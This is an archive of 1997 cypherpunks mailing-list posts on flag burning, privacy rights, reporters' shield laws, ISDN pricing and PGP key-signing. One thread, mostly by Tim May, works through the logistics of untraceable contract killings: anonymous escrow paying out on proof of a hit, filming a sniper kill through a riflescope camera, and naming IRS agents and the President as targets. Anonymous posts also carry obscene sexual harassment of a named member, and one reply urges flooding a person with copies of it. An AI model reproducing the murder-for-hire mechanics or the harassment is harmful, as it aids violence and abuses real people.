> essentially displaying our freedom being burned.

It's a symbol, not the thing symbolized. You are confusing the map 
with the country. 

Burning the flag is a statement by the burner that they feel that the
symbol has become empty, and the freedom which the flag symbolizes is
gone or has been compromised in some manner. It's clearly a form of
political speech. True, It's a very strong statement, but strong 
political speech has been protected by the Constitution (at least up till 
now).
 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.   

You are mistaken - some of the people opposing your viewpoint have 
stated that they are veterans.

> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?

It does *stand* for freedom and liberty, but only as long those 
values really exist. It *is* *not* freedom and libery in it's own
right.
 
When what the flag symbolizes is gone, it becomes just a piece of 
cloth. Burning this cloth draws attention to the loss. It is a dramatic
statement, but under certain circumstances an appropriate one.
 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!

Thank you for your opinion. You are of course free to express it. And 
I, and other thoughtful, freedom-loving Americans can oppose it.

Think about this:

Would you rather people did not burn the flag because:

1. They'll be thrown in the slammer if they do.
2. The revere the values for which it stands, and will not descrate a
   meaningful symbol of these values.

In (2), we can look at the (very rare) individuals who *do* burn the
flag, and determine for ourselves if they have a valid point to 
convey.  

In (1), we'll never know.

For Congress to deny the freedom to burn the flag is a desecration of what
the flag stands for - a descration of the flag by the government itself.

Peter Trei
trei@process.com

Disclaimer: I represent only myself in this article.

  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:27:20 +0800
To: cypherpunks@toad.com
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <v03102806afc72cece4f0@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:55 AM -0700 6/13/97, Declan McCullagh wrote:
>On Fri, 13 Jun 1997, Ray Arachelian wrote:
>> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>> morals, eh?
>
>Far from it. My position is a principled one, not one of convenience.
>
>As a civil libertarian, for instance, I would not support laws that give
>certain journalists more free speech "rights" than a Net-loon with a web
>site.

And I hope Declan does not support so-called "shield laws" which give
reporters protection against having to reveal sources (modulo the
oft-discussed contempt laws).

Declan's "job" is as a reporter. Just a job. Not a special class of rights
as determined by the government. I am as much a "reporter" as Declan is, in
terms of what rights I have. In fact, arguable many of us are reporters, as
we report on what we see and what we think....Brock Meeks started out in a
similar online forum, as did Declan. At what point did they suddenly gain
special protections from interrogations about their sources that the rest
of us don't have?

(I have no problems with private agents, e.g., Microsoft or whatever,
limiting contacts to the "main" reporters. It's their property. If they
grant interviews to Declan, Brock, John, Steve, etc., and not to me, I
cannot claim my "rights" were violated. Government functions are another
matter, and I would generally favor letting anyone claiming to be a
reporter in to government press conferences...to do anything else is to
give licensing and credentials to speech, which the government should have
no right to do. If they need to hold press conferences in RFK Stadium, so
be it.)

The general area of licensing of reporters is fraught with troubles.
(Readers may recall that UNESCO sought to force the United States into
going along with this kind of licensing; the U.S. refused. However, the
"shield laws" are a dangerous step in the direction of such licensing.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:27:18 +0800
To: declan@well.com
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <v03102807afc72fa88963@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:19 AM -0700 6/13/97, Declan McCullagh wrote:
>On Thu, 12 Jun 1997, Tim May wrote:
>
>> According to Netscape spokesmen, this feature was added to the kernel of
>> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
>> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
>> Denning asked us to insert the "remote read" capabilities to ensure that
>> the legitimate needs of law enforcement are met. No person cruising the Web
>> has any expectation of privacy, as even Declan McCullagh has pointed out."
>
>Tim misrepresents my position, or does not understand it. I did not say
>that. Rather, I argued that you have no "right of privacy" that allows you
>generally to restrict the right of others to gossip, trade, or otherwise
>share information about you. Such a rule would violate their rights of
>free speech.
>
>Like Marc, I hope there is still some role for truth in the debate about
>privacy issues.

And like Marc, you take satire entirely too seriously.

My one line paraphrasing of your point, ostensibly a deliberately clumsy
rephrasing by Jim Clarke appropriating for his own uses your  general
point, could hardly have been expected to be a fully-nuanced explication of
your point.

Jeesh. You've been in D.C. too long, or have "headed" too many soccer balls
lately.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 01:52:22 +0800
To: cypherpunks@toad.com
Subject: Cato forum on federal law enforcement
Message-ID: <Pine.GSO.3.95.970613102306.27431A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 12:13:47 -0400 (EDT)
From: Robin Hulsey <rhulsey@cato.org>
Subject: No More Wacos: What's wrong with federal law enforcement and  how to fix it

NEWS MEDIA ALERT

WHAT:	
Book Forum
No more Wacos: What's wrong with federal law enforcement and how to fix it


WHY:	
On April 19, 1993, federal agents conducted a deadly raid on the Branch
Davidian compound 
at Waco, Texas. The Waco raid was the largest raid in the history of the
Bureau of Alcohol, 
Tobacco and Firearms; it was the largest federal armed entry ever of an
American home; and 
it resulted in the largest number of deaths of law enforcement officers in a
single operation as 
well as the largest number of civilian deaths in a law enforcement
operation. In No More Wacos,
Kopel and Blackman maintain that what happened at Waco was neither a
conspiracy nor a 
fluke. The Waco tragedy instead represents the worst-case scenario of
problems that still plague 
federal law enforcement, including lax procedures involving search warrant
applications and the
militarization of police tactics. The authors will discuss why such
tragedies occur-and how future 
Wacos can be prevented.
	 
 
WHEN:	
4-6 p.m., Thursday, June 19


WHERE:	
F.A. Hayek Auditorium
Cato Institute
1000 Massachusetts Ave. NW
Washington, DC
	

WHO:	 	
David B. Kopel
Independence Institute
		
Paul H. Blackman
National Rifle Association


HOW:		
RSVP to Robin Hulsey, at 202-789-5293 or rhulsey@cato.org 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 01:37:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Untraceable Contract Killings
In-Reply-To: <Pine.SUN.3.96.970610172007.1148G-100000@eskimo.com>
Message-ID: <v03102808afc730fed9b6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:51 AM -0700 6/11/97, Bill Stewart wrote:

>really does pay off the killer.  What's novel about Bell's version
>(and I don't know whether it originate with him or not) is that
>it provides a cyberspace-only mechanism for the assassin to
>demonstrate to the payer that he's the one who did the job
>and isn't some wannabe claiming to have done it to collect the cash.
>	(like the wannabes who called newspapers claiming to
>	have been the World Trade Center bombers, etc.)

What really creates a "hit" on the efficiency of Bell's system, as I
understand it, is that the guy who plans to make the hit may plan to do it
on, for example, June 21. This is the date he bets on heavily.

Alas, someone else does the hit on June19th, or 15th, or whatever. (There
are all those dates, distributed on some curve,  implying others are
thinking making the hit, too.)

Or, his target stays indoors all that day. (Possibly by looking at the
betting data!)

There are lots of "noise sources" in such a probabalistic scheme of
sidebets based on outcomes which not even a skilled assassin can control.

>There are alternatives, like posting a photo of the corpse to
>a time-stamping service and then to Usenet, though this adds
>some risk to the assassination, and is less useful for
>public killings (e.g. if the President gets shot,
>and there's a well-known address for the assassination pool,
>the White House Press Corps may try to get their photographs
>into the pool before sending them to Reuters and, umm, AP.)

The "proof" issue has been discussed at various times over the past several
years. This is a matter for the contract negotiations (so to speak). The
purchaser of a hit may specify to the escrow agent that the untraceable
funds are to be anonymously mailed (using message pools, for example) only
if a Quicktime movie of the hit actually happening are submitted. (It would
be fairly trivial to attach a small camcorder to a riflescope, for example,
showing the target being killed by a sniper. Other similar options,
essentially impossible to spoof by pretenders, are quite easy to imagine.
Depends on the method of hitting, of course.)

>The assassin still has to make sure he gets paid, and Bell suggests
>(incorrectly, I think) that since all the payer is doing is
>running a lottery, not contracting for killings, that the payer
>could be a persistent entity with some reputation capital
>who has an incentive to pay off.

As has also been discussed for almost 10 years now, third-party anonymous
escrow agents, whose business is only the holding of funds for release
under conditions they judge to have been met, is an elegant and robust
solution.


>
>>Now in light of the fact that when the target has many enemies the
>>assassination becomes a non-excludable public good, it is almost certain
>>that the scheme cannot actually work in practice.  All of the potential
>>payers would rather free-ride and let others pay, so the public good ends
>>up not being "produced".
>
>I think Bell is imagining that a lot of people would be willing to
>pay $5 for killing high-profile targets, like a few IRS agents,
>so this wouldn't be a problem for the targets _he_ wants killed off.
>Getting people to chip in large amounts of money is tougher.

And it is far, far likelier that someone will use untraceable mechanisms
(cash, markets, escrow) to have an enemy whacked than that a cumbersome,
probabalisitic, highly-publicized market will develop.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 13 Jun 1997 23:34:16 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970613105505.13113D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I suspect the scare about privacy has led to muddled thinking.

Free speech is a right that strictly limits the government's ability to
control what you say. We should have a similar right of privacy from the
government.

But I give up my free speech "rights" when I attend a college with a wacky
speech code or go to work at a company with workplace speech policies. My
choices in those situations are governed by my free speech preferences. 
Similarly, I give up my privacy "rights" when I go to unknown web sites,
apply for a loan, or post to Usenet, etc. These also are preferences. 

I'm surprised not to hear more from other folks here: my position is one
cypherpunks have advocated for years -- controlling what data flow from my
computer is my responsibility.

-Declan


On Thu, 12 Jun 1997, Jim Choate wrote:

> Hi,
> 
> Forwarded message:
> 
> > Date: Thu, 12 Jun 1997 18:58:37 -0400
> > From: Declan McCullagh <declan@well.com>
> > Subject: There's no general right to privacy -- get over it, from Netly
> 
> > likes to say "Privacy is not an absolute right, but a
> > fundamental right." But in truth, privacy is not a
> > right but a preference: Some people want more of it
> > than others.
> 
> A right is not a question of popularity or amplitude, it is a question of
> existance. It is or it isn't. Some people want more guns than others
> (obvious even to you) so you seriously hold that there is no fundamental
> Constitutional right to own firearms? Or speech, we don't all want to use it
> to the same amount, we therefore don't have a right to free speech? Or (oh
> my god!) crypto, we don't all want to use it to the same degree therefore we
> don't have a right to use crypto?
> 
> Serious boo-boo.
> 
> I hope it ain't gone to print yet...
> 
>     ____________________________________________________________________
>    |                                                                    | 
>    |            _____                             The Armadillo Group   |
>    |         ,::////;::-.                           Austin, Tx. USA     |
>    |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
>    |      .',  ||||    `/( e\                                           |
>    |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
>    |                                                 ravage@ssz.com     |
>    |                                                  512-451-7087      |
>    |____________________________________________________________________|
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Sat, 14 Jun 1997 01:21:11 +0800
To: RS <panther@writeme.com>
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <Pine.LNX.3.95.970613105102.3733A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 13 Jun 1997, RS wrote:

> When it comes down to flag burning, It really bothers me that we allow our
> symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> symbol of the freedom we have.  To allow someone to publicly burn a flag is
> essentially displaying our freedom being burned.
> 
> Bush was a veteran, and Clinton was not.  I take it the ones who are
> writing on this subject about how we should have the "freedom" to burn the
> flag have never served in the military or for our country.  
> 
> Being a veteran myself, I find it very distateful to allow anyone on our
> soil to be allowed to "BURN" our symbol of freedom.  Think about the flag
> for a moment and what it really stands for.  Does it not stand for freedom
> and liberty?
> 
> Sorry, I just had to let this out.  I stand behind Bush on this one.  Don't
> burn the flag unless you would like to live under another flag!
> 

Being a veteran, you should be aware of the freedoms for which you
risked your life.  You are assuming that burning of our flag is intended
to insult the tenets of freedom our country used to be based on.
(unfortunately only for europeans)

Maybe what the person is saying is that "our freedom is going up in
flames".  Considering the barbeque at Waco I would consider this the
ultimate political statement.

"Church burning.  Its not just for racists anymore!"

(sorry i digress)

Political speech.  Love it or shut the hell up.

Just because you find it offensive doesn't mean you should change the
constitution.  Should we amend the constitution to prosecute people
who pick their noses in public, say the f-word or insult your favorite
religion?

Man!  Time to take a civics 101 class.

Jim Burnes
son and nephew of people who
thought they were risking their
lives for freedom








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dshipman@ewol.com (Dave Shipman)
Date: Fri, 13 Jun 1997 23:31:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [Noise, California only] Good deal on ISDN access
Message-ID: <19970613150748390.AAA112@xxx>
MIME-Version: 1.0
Content-Type: text/plain



At 05:55 AM 6/11/97 +0200, you wrote:
>Lucky Green sez:
>
>> Given that a good number of people on this list live in CA, this might be
>> of interest to you. It certainly was to me. PacBell is selling flat rate 2B
>> ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
>> this is still much cheaper than what I paid before. You might want to think
>> hard before you buy at new 56k modem that in all likelihood won't be able
>> to give you 56k anyway. And no analog modem will ever give you 128kbps.
>
>But don't they still charge you a penny a minute?  That adds up fast, and
>would probably cost you more than your $50 internet access fees.  Plus the
>cost of ISDN service...  All told, you're looking at $150 or so per month.
>
>When for $150 you can get a brand spanking new 56K modem, and pay $20-30 a
>month.  Not as fast, but a much better price/performance ratio.
>
>
GTE in SRQ charges a flat (no installation charge or per minute on a 36
month contract) rate of $54.00 plus any long distance calls I make on the
SPID. My ISP charges $34.00 for a total of $88.00 and I am connected 125/175
hours a month. Early on, I found a definite need for a separate line
($19.00) to support my habit and when I installed ISDN that line was
removed. Net cost for a *true* observed 3X speed increase, FAX, and voice
com is $69.00 a month. A BitSURFER Pro TA cost $360.00 and replaced a 28.8
modem. As soon as my ISP gets around to it (and figures out what to charge),
the wires get twisted and the 3X increase should double.  

Those who buy a "56k" modem are in for a disappointment. No POPS in the US
supports more than 53k and many run at *much* less due to cross talk
problems. Also, your ISP will have to choose one of the two available
"standards" (X2 or 56Kflex) with no assurance that when the 56k dust settles
you will still have compatible equipment. 

Those who live in ATL or are PAC Bell customers should examine the
possibilities of ADSL which is supposed to roll out in both areas, sometime
in the last quarter. Bell South plans to offer ADSL the first quarter of
next year and DMT appears to be winning the "standards" battle with CAP for
ASDL protocol. I've not seen any cost information but presume that the
increased bandwidth will result in higher charges than ISDN. Unfortunately,
here in the swamps of southwest FL, ADSL will not be an option for several
years.


DLS
------------------------------------------------
That field hath eyen, and the wood hath ears.
         Geoffrey Chaucer. 1328-1400.

                          (From the text of Tyrwhitt.) Line 1524.

   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:35:46 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v03007874afc71e205651@[207.94.249.152]>
Message-ID: <199706131613.LAA12353@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007874afc71e205651@[207.94.249.152]>, on 06/13/97 
   at 11:00 AM, Bill Frantz <frantz@netcom.com> said:

>At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>>In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97
>>   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:
>>>If you have a version of the key with no signatures, then you can change
>>>the data field and re-sign with the associated secret key.  Since the
>>>data field has changed, you properly need to have others re-verify the
>>>validity of the binding.
>>
>>I don't think that any changes that he would make to his key would need
>>re-verification provided that he signed those changes. Take the following
>>scenario:
>>
>>John Doe creates a key and signs it:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe
>>sig                        John Doe (0xFFFFFFFF)
>>
>>Now 3 other people verify that the key does belong to John Doe and sign
>>the key:
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>
>>Now John adds an aka to his key and signs it.
>>
>>pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
>>sig                        John Doe   (0xFFFFFFFF)
>>sig                        Mary Jane  (0xAAAAAAAA)
>>sig                        Tom Thumb  (0x11111111)
>>sig                        Tiny Tim   (0xCCCCCCCC)
>>aka                        John Doe john.doe@who-is-it.com
>>sig                        John Doe   (0xFFFFFFFF)
>>
>>Since John Doe is the only one who could sign the key with the new aka one
>>can assume that the aka is as valid as the original userid.

>So if John Doe wants to be known as "president@whitehouse.gov" or "Tim
>May <tcmay@got.net>" all he has to do is change the field, and upload the
>changed key to the key servers, and all the signatures should remain
>good?

Well remember that John Doe is only adding an AKA to his key not deleteing
the old userid and replacing it with a new one. This is very important.

pub 2048/FFFFFFFF 01/01/90 John Doe john.doe@anonymous.com
sig                        John Doe   (0xFFFFFFFF)
sig                        Mary Jane  (0xAAAAAAAA)
sig                        Tom Thumb  (0x11111111)
sig                        Tiny Tim   (0xCCCCCCCC)
aka                        John Doe president@whitehouse.gov
sig                        John Doe   (0xFFFFFFFF)


If he were to remove the old userid and replace it with a new one you
would have:

pub 2048/FFFFFFFF 01/01/90 John Doe president@whithouse.gov
sig                        John Doe   (0xFFFFFFFF)

without any autheticating signatures.

The first case all we have is a change of address while in the second we
have a change of identity.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sat, 14 Jun 1997 03:31:11 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706131810.LAA05807@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim C. Maya likes to lick the semen-shit mixture that 
accumulates in the crack of his mother's ass.

           /_/\/\
           \_\  /
           /_/  \
           \_\/\ \ Tim C. Maya
              \_\/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 13 Jun 1997 23:42:37 +0800
To: Declan McCullagh <declan@well.com>
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 12 Jun 1997, Declan McCullagh wrote:

> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

[...]

>      I have a confession to make: Unlike many of my
> civil libertarian colleagues, I believe you have no
> general right to privacy online. Sure, you have the
> right to protect your personal data, but you shouldn't
> be able to stop someone else from passing along that
> information if you let it leave your computer. That's
> your responsibility.


Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
morals, eh?  Maybe if someone would go through all your records and post
them all over the net, you'd feel differently!

Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
scum if you believe this.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 14 Jun 1997 01:37:22 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Quadratic residues
In-Reply-To: <199706131000.MAA10625@basement.replay.com>
Message-ID: <Pine.A41.3.95.970613111651.37558A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. Maya's wee-wee is so tiny that only his mommy is allowed to touch it.
> 
>     __o
>   _ \<_  Timmy C. Maya
>  (_)/(_)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 14 Jun 1997 01:15:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Netscape Security Flaw is a Feature
In-Reply-To: <v03102802afc67bb040fb@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970613111747.13113H-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 12 Jun 1997, Tim May wrote:

> According to Netscape spokesmen, this feature was added to the kernel of
> Mosaic, then Navigator, in 1993, as part of the Clipper Key Recovery
> Program. As James Clarke put it an interview tonight on MSNBC, "Dorothy
> Denning asked us to insert the "remote read" capabilities to ensure that
> the legitimate needs of law enforcement are met. No person cruising the Web
> has any expectation of privacy, as even Declan McCullagh has pointed out."

Tim misrepresents my position, or does not understand it. I did not say
that. Rather, I argued that you have no "right of privacy" that allows you
generally to restrict the right of others to gossip, trade, or otherwise
share information about you. Such a rule would violate their rights of
free speech.

Like Marc, I hope there is still some role for truth in the debate about
privacy issues. 

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 14 Jun 1997 00:52:54 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <199706131632.LAA12660@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>, on
06/13/97 
   at 11:38 AM, Ray Arachelian <sunder@brainlink.com> said:

>On Fri, 13 Jun 1997, Declan McCullagh wrote:

>> Oh, and at least read the whole article.
>> 
>> -Declan
>>    
>>    Privacy? What Privacy?
>> 
>>    by Declan McCullagh   June 12, 1997
>>    
>>         I have a confession to make: Unlike many of my civil libertarian
>>    colleagues, I believe you have no general right to privacy online.
>>    Sure, you have the right to protect your personal data, but you
>>    shouldn't be able to stop someone else from passing along that
>>    information if you let it leave your computer. That's your
>>    responsibility.

>I still disagree, and not just online.  There is plenty of information
>that you have no control over but should.  Your credit card transactions
>for instance can be looked up by any scumbag willing to pay money to TRW
>and it's ilk.  Your DMV records, your health records.  In theory only
>those that need to know this knowledge should be able to access it, and
>in practice what have we seen so far? 

Well lets see CC transactions are not just your info but the CC issuers
info & the merchants info. Should it be illegal for you to tell anyone
that you bought a HD from Segate or that you used your Carte Blanch card
to do it? If you don't like it pay *CASH*.

Health Records are only between you and your doctor unless you bring in a
3rd party (aka health insurance). Once you do that you have opened up your
records to whatever the policy of your insurance company is, don't like it
get a different insurance company or pay for it in, look out now,
*CASH*!!! (I have paid the last 10yrs of medical & dental bills all in
cash).

DMV records? They are treated the same as *ANY* state licence, they are
part of the public record. This includes land titles, auto titles, birth
certificates, death certificates, marrage & devorce records, any
perfesional license (Doctor, Engeneere, CPA, Archetic, ...ect). As far as
your driving record *ALL* court procedings are open to the public.

In a free and open society it is not only desired that this information be
made public but it is required!! You can not have a free society if
everything the government does is hidden away behind closed doors.

>If I give XYZ corp any info I expect them not to sell that info without
>my permission.  Verily, that information is valuable, therefore if they
>want to sell it, they should get my permission, and should pay me for it.

Why? Have you entered into any agreement that they would not sell this
information? Why is this information any more yours that it is theirs? How
can you claim title to property after you have given it away??? 

Ray you really should re-take Democracy 101 before you start ranting like
this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 14 Jun 1997 00:05:09 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
Message-ID: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 13 Jun 1997, Declan McCullagh wrote:

> Oh, and at least read the whole article.
> 
> -Declan
>    
>    Privacy? What Privacy?
> 
>    by Declan McCullagh   June 12, 1997
>    
>         I have a confession to make: Unlike many of my civil libertarian
>    colleagues, I believe you have no general right to privacy online.
>    Sure, you have the right to protect your personal data, but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer. That's your
>    responsibility.

I still disagree, and not just online.  There is plenty of information
that you have no control over but should.  Your credit card transactions
for instance can be looked up by any scumbag willing to pay money to TRW
and it's ilk.  Your DMV records, your health records.  In theory only
those that need to know this knowledge should be able to access it, and in
practice what have we seen so far? 

If I give XYZ corp any info I expect them not to sell that info without my
permission.  Verily, that information is valuable, therefore if they want
to sell it, they should get my permission, and should pay me for it.

I don't necessarily want government restrictions on privacy, however I
would want a constitutional amendment to privacy that says: all I do is
private unless I explicitly share it with others, and if I do share it,
they may not pass it on to others without my permission.  This is on a
personal level, not on a corporate or governmental level.  Why I feel this
way is an excercise for the reader.  Hint: Uncle Sam works for us since we
pay him from our income.  We don't work for him (most of the time.)

How many loons have used DMV records to stalk their victims?

How about the nice Netscape hole that allows sites to surf your hard drive
as you're surfing their sites?

Yes, I do take privacy seriously, and I do protect it.  But to say anyone
has the right to snoop my machines and see what I have there is NOT cool.
What I leave on my computer is my private business, and NOBODY HAS THE
RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
As for Radio Shack weasels, I don't give them info, or give them
misleading info.  What's on my hard drives and in my machine's RAM is NONE
OF ANYONE'S BUSINESS!

At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
that are purchased by credit card I know that info will leak out, and
don't do this unless I'm willing to leak it out.

So, I still disagree with your view.  Even after reading the whole
article.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





